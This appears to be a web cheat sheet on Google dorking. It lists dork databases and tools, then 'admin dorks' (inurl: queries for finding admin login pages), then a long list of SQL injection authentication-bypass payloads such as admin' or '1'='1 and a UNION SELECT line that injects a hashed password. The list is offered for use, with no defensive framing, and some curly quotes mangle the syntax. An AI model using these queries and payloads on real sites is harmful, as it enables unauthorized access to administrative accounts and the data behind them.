“A search dork (often called a Google dork) is a carefully constructed search query that uses advanced operators like site:, filetype:, intitle: and inurl: to uncover information that is indexed but not obvious. In OSINT and cyber investigations, dorks are used every day to map attack surface, discover exposed documents, and understand an organisation's digital footprint.” ⇒ DorkSearch.com

TOOLS:

• https://www.exploit-db.com/google-hacking-database
• https://vuldb.com/?googlehacking
• https://dorksearch.com
• https://dorkfinder.com/
• https://hackingpassion.com/dorks-eye-google-hacking-dork-scraping-and-searching-script
• https://hackingpassion.com/google-dorks-an-easy-way-of-hacking/
• https://github.com/BullsEye0/dorks-eye
• https://github.com/BullsEye0/google_dork_list
• https://github.com/readloud/Google-Hacking-Database
• https://github.com/Ishanoshada/GDorks
• https://github.com/JacobRiggs/Google-Dorks-SQLi-
• ADWARE'S GOOGLE DORK LIST

ADMIN DORKS

• inurl:admin.asp
• inurl:login/admin.asp
• inurl:admin/login.asp
• inurl:adminlogin.asp
• inurl:adminhome.asp
• inurl:admin_login.asp
• inurl:administratorlogin.asp
• inurl:login/administrator.asp
• inurl:administrator_login.asp
• inurl:admin.php
• inurl:login/admin.php
• inurl:admin/login.php
• inurl:adminlogin.php
• inurl:adminhome.php
• inurl:admin_login.php
• inurl:administratorlogin.php
• inurl:login/administrator.php
• inurl:administrator_login.php

ADMIN AUTH BYPASS PAYLOADS

• '-'
• ' '
• '&'
• '^'
• '*'
• “-”
• “ ”
• “&”
• “^”
• “*”
• admin' –
• admin' #
• admin'/*
• admin' or '1'='1
• admin' or '1'='1'–
• admin' or '1'='1'#
• admin' or '1'='1'/*
• admin'or 1=1 or ''='
• admin' or 1=1
• admin' or 1=1–
• admin' or 1=1#
• admin' or 1=1/*
• admin') or ('1'='1
• admin') or ('1'='1'–
• admin') or ('1'='1'#
• admin') or ('1'='1'/*
• admin') or '1'='1
• admin') or '1'='1'–
• admin') or '1'='1'#
• admin') or '1'='1'/*
• 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
• admin“ –
• admin” #
• admin“/*
• admin” or “1”=“1
• admin” or “1”=“1”–
• admin“ or “1”=“1”#
• admin” or “1”=“1”/*
• admin“or 1=1 or ”“=”
• admin“ or 1=1
• admin” or 1=1–
• admin“ or 1=1#
• admin” or 1=1/*
• admin“) or (“1”=“1
• admin”) or (“1”=“1”–
• admin”) or (“1”=“1”#
• admin“) or (“1”=“1”/*
• admin”) or “1”=“1
• admin”) or “1”=“1”–
• admin“) or “1”=“1”#
• admin”) or “1”=“1”/*
• 1234 “ AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055